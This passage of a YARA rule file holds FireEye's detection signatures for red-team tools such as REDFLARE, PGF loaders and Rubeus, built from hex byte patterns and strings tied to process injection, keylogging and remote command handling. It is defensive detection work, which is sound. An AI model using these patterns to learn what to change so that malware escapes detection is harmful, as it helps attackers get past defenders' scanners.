		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSECTIONINJECTION/production/yara/Loader_MSIL_CSharpSectionInjection_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "011cf4dffe6ef90a79cdfabb0e297152c00b0404b1801f56fd7e703ab90b1692"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_1.yar#L4-L17"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "01d68343ac46db6065f888a094edfe4f"
		logic_hash = "f9165aabe4bad215211cf98559099030ddb8a76175fbfcfee3c6f25d7614bdad"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}



rule FIREEYE_RT_APT_Downloader_Win64_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "15a5e22b-84b0-5b36-8772-1d496ac447b2"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win64_REDFLARE_1.yar#L4-L17"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "9529c4c9773392893a8a0ab8ce8f8ce1"
		logic_hash = "1b9bece6083403615841c752eac48fd20095e918d6e175563dd122be2885d875"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 2
	strings:
		$const = "Cookie: SID1=%s" fullword
		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}


rule FIREEYE_RT_APT_Loader_Raw64_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw64_REDFLARE_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "5e14f77f85fd9a5be46e7f04b8a144f5"
		logic_hash = "dac122ccece8a6dd35a5fe9d37860a612aa50ab469b79f4375dbe776f60c7b57"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }
	condition:
		( uint16( 0 ) != 0x5A4D ) and all of them
}

rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "dc162f26-66d3-5359-b1d7-ef2208b359e2"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_1.yar#L4-L17"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "f20824fa6e5c81e3804419f108445368"
		logic_hash = "2cae245a6aa36dccc2228cccefdc4ca0eb278901f063e072a369000f67d73a55"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "043f4e29-710d-5e17-a0ed-82cd3a565194"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_2.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "100d73b35f23b2fe84bf7cd37140bf4d"
		logic_hash = "9fad845ed963fae46ac7ddc44407d5f6ed0a061f6a106764b9f912ef718279b4"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
		$inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
		$s1 = "ResumeThread" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}


rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_3 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a"
		date = "2020-12-01"
		date = "2020-12-01"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_3.yar#L4-L19"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
		logic_hash = "ee104bc145686a134e4d6d620dae7d1dacff7645d47f1a8d7a212327352b8e87"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
		$str1 = "CreateCompatibleBitmap" fullword
		$str2 = "BitBlt" fullword
		$str3 = "runCommand" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_APT_Keylogger_Win64_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85"
		date = "2020-12-01"
		date = "2020-12-01"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win64_REDFLARE_1.yar#L4-L17"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "fbefb4074f1672a3c29c1a47595ea261"
		logic_hash = "26fe577ba637c484d9a8ccc2173b5892a76328a90a39a2bebbae6bd2a6329485"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
		$keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}


rule FIREEYE_RT_APT_Controller_Linux_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Controller_Linux_REDFLARE_1.yar#L4-L19"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
		logic_hash = "d6b0cc5f386da9bff8a8293f2b3857406044ab42f7c1bb23d5096052a3c42ce4"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$1 = "/RedFlare/gorat_server"
		$2 = "RedFlare/sandals"
		$3 = "goratsvr.CommandResponse" fullword
		$4 = "goratsvr.CommandRequest" fullword
	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}


rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "84881e5c-05df-5911-af42-ec82e559588c"
		date = "2020-11-27"
		date = "2020-11-27"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_2.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
		logic_hash = "1f2e1f644b1932486444dfda30b7dad7f50121f59fa493eb8a1a0528ae46db26"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 2
	strings:
		$1 = "initialize" fullword
		$2 = "getData" fullword
		$3 = "putData" fullword
		$4 = "fini" fullword
		$5 = "Cookie: SID1=%s" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}



rule FIREEYE_RT_APT_Trojan_Linux_REDFLARE_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Linux_REDFLARE_1.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
		logic_hash = "282f11c4c86d88d05f11e92f5483701d9a54c2dd39f21316cd271aa78a338d0f"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$s1 = "find_applet_by_name" fullword
		$s2 = "bb_basename" fullword
		$s3 = "hk_printf_chk" fullword
		$s4 = "runCommand" fullword
		$s5 = "initialize" fullword
	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}

rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_6 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "5875a9ec-c3ee-57f0-a430-4443db585def"
		date = "2020-12-01"
		date = "2020-12-01"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/supplemental/yara/APT_Trojan_Win_REDFLARE_6.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "294b1e229c3b1efce29b162e7b3be0ab, 6902862bd81da402e7ac70856afbe6a2"
		logic_hash = "1e6f8320e0c0b601fc72fa4d9c61e46adfbcd84638c97da5988ca848e036312a"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 2
	strings:
		$s1 = "RevertToSelf" fullword
		$s2 = "Unsuccessful" fullword
		$s3 = "Successful" fullword
		$s4 = "runCommand" fullword
		$s5 = "initialize" fullword
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_Hacktool_MSIL_Rubeus_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
		author = "FireEye"
		id = "0ca140ea-2b9f-5904-a4c0-8615229626f0"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "66e0681a500c726ed52e5ea9423d2654"
		logic_hash = "ad954f9922ab564d68cb4515b080f6ee69476a8d87f0038e2ae4c222f0e182d7"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
	condition:
		uint16( 0 ) == 0x5A4D and $typelibguid
}




rule FIREEYE_RT_APT_Loader_MSIL_PGF_2 : FILE
{
	meta:
		description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
		author = "FireEye"
		id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507"
		date = "2020-11-25"
		date = "2020-11-25"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_2.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "7c2a06ceb29cdb25f24c06f2a8892fba"
		logic_hash = "b962ea30c063009c0383e25edda3a65202bea4496d0d6228549dcea82bba0d03"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
		$ss1 = "\x00CreateThread\x00"
		$ss2 = "\x00ScriptObjectStackTop\x00"
		$ss3 = "\x00Microsoft.JScript\x00"
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_APT_Loader_Win64_PGF_5 : FILE
{
	meta:
		description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
		author = "FireEye"
		id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_5.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "150224a0ccabce79f963795bf29ec75b"
		logic_hash = "16495ad1e5ce4d4a79f4067f3d687911a1a0a3bfe4c6409ff9de4d111b1ddca6"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
		$cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
		$cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
		$cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them
}


rule FIREEYE_RT_APT_Loader_Win32_PGF_5 : FILE
{
	meta:
		description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
		author = "FireEye"
		id = "376875f3-00f2-58d0-ae22-7f52ea566da2"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_5.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "8c91a27bbdbe9fb0877daccd28bd7bb5"
		logic_hash = "dfff615a1d329cf181294f7b0a32c11a21d66ff8a6aa6b9fcd183c9738369623"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
		$cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
		$cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
